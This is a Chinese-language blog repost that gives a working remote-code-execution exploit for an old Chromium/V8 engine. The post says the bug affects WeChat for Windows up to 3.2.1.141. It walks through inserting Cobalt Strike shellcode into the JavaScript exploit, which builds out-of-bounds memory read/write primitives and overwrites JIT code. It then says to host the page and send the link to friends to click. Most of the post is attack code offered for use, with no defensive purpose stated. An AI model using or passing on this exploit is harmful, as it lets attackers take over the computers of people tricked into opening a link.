其他分享
首页 > 其他分享> > 微信0day复现

微信0day复现

作者:互联网

由于微信采用的是google内核,前些日子google爆出0day远程代码执行漏洞,但是需要关闭沙箱,而微信采用的是老版本google内核,默认关闭沙箱,因此只要微信用户点击恶意连接,可直接获取该PC电脑权限

影响版本
<=3.2.1.141(Windows系统)

打开cs4.0生成一个payload

将文件保存本地后提取其中的shellcode,将shellcode填入下方代码

ENABLE_LOG = true;
 IN_WORKER = true;

 // run calc and hang in a loop
 var shellcode = [#shellcode];//shellcode替换成自己的

 function print(data) {
 }


 var not_optimised_out = 0;
 var target_function = (function (value) {
   if (value == 0xdecaf0) {
       not_optimised_out += 1;
   }
   not_optimised_out += 1;
   not_optimised_out |= 0xff;
   not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
   target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
   if (flag == true) {
       return;
   }
   g_array = new Array(0);
   g_array[0] = 0x1dbabe * 2;
   return 'c01db33f';
}

function gc() {
   for (var i = 0; i < 0x10000; ++i) {
       new String();
   }
}

function oobAccess() {
   var this_ = this;
   this.buffer = null;
   this.buffer_view = null;

   this.page_buffer = null;
   this.page_view = null;

   this.prevent_opt = [];

   var kSlotOffset = 0x1f;
   var kBackingStoreOffset = 0xf;

   class LeakArrayBuffer extends ArrayBuffer {
       constructor() {
           super(0x1000);
           this.slot = this;
       }
   }

   this.page_buffer = new LeakArrayBuffer();
   this.page_view = new DataView(this.page_buffer);

   new RegExp({ toString: function () { return 'a' } });
   cb(true);

   class DerivedBase extends RegExp {
       constructor() {
           // var array = null;
           super(
               // at this point, the 4-byte allocation for the JSRegExp `this` object
               // has just happened.
               {
                   toString: cb
               }, 'g'
               // now the runtime JSRegExp constructor is called, corrupting the
               // JSArray.
           );

           // this allocation will now directly follow the FixedArray allocation
           // made for `this.data`, which is where `array.elements` points to.
           this_.buffer = new ArrayBuffer(0x80);
           g_array[8] = this_.page_buffer;
       }
   }

   // try{
   var derived_n = eval(`(function derived_n(i) {
       if (i == 0) {
           return DerivedBase;
       }

       class DerivedN extends derived_n(i-1) {
           constructor() {
               super();
               return;
               ${"this.a=0;".repeat(tDerivedNCount)}
           }
       }

       return DerivedN;
   })`);

   gc();


   new (derived_n(tDerivedNDepth))();

   this.buffer_view = new DataView(this.buffer);
   this.leakPtr = function (obj) {
       this.page_buffer.slot = obj;
       return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
   }

   this.setPtr = function (addr) {
       this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
   }

   this.read32 = function (addr) {
       this.setPtr(addr);
       return this.page_view.getUint32(0, true, ...this.prevent_opt);
   }

   this.write32 = function (addr, value) {
       this.setPtr(addr);
       this.page_view.setUint32(0, value, true, ...this.prevent_opt);
   }

   this.write8 = function (addr, value) {
       this.setPtr(addr);
       this.page_view.setUint8(0, value, ...this.prevent_opt);
   }

   this.setBytes = function (addr, content) {
       for (var i = 0; i < content.length; i++) {
           this.write8(addr + i, content[i]);
       }
   }
   return this;
}

function trigger() {
   var oob = oobAccess();

   var func_ptr = oob.leakPtr(target_function);
   print('[*] target_function at 0x' + func_ptr.toString(16));

   var kCodeInsOffset = 0x1b;

   var code_addr = oob.read32(func_ptr + kCodeInsOffset);
   print('[*] code_addr at 0x' + code_addr.toString(16));

   oob.setBytes(code_addr, shellcode);

   target_function(0);
}

try{
   print("start running");
   trigger();
}catch(e){
   print(e);
}

再生成一个html文件调用js文件

存放在网站目录下

生成链接 http://ip/test.html 发给好友点击即可。

标签:function,return,addr,buffer,微信,0day,复现,var,page
来源: https://www.cnblogs.com/fushiruzuo/p/14751037.html